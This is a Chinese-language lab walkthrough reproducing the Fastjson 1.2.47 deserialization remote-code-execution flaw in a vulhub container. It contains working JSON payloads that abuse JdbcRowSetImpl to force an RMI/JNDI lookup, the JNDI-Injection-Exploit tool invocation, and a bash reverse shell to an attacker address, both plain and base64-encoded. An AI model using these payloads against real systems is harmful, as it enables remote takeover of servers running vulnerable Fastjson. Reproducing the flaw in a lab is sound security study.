一.漏洞描述
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令
二.影响版本
1.2.47
三.漏洞复现
1.准备vulhub环境
path: /vulhub-master/fastjson/1.2.47-rce
启动环境:docker-compose up -d
访问http://靶机ip:8090 可看到一个json对象被返回
2.漏洞检测
用burp得扩展插件FastjsonScan来进行检测,将拦截得包右击鼠标发送Extensions/FastjsonScan ,如果扫描的目标存在漏洞,在窗口下面的Request窗口会展示使用的payload,如果没有漏洞,则会展示原始的请求与响应
POC: 注意这里得ip是攻击IP
{
"axin":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"is":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.56.136:1099/slgipa",
"autoCommit":true
}
}
使用dnslog测试:
3.漏洞利用
利用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具开启RMI服务器
构造反弹shell,进行base64编码,推荐在线工具,可以快速做bash反弹shell命令java命令执行payloads - 小草窝博客
bash -i >& /dev/tcp/192.168.56.136/1234 0>&1
监听1234端口
开启RMI服务 注意:所有IP均为攻击IP
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEzNi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.56.136"
POC: rmi://192.168.56.136:1099/nb7kfd 是上面命令生成得结果
{
"axin":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"is":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.56.136:1099/nb7kfd",
"autoCommit":true
}
}
获得shell,成功执行命令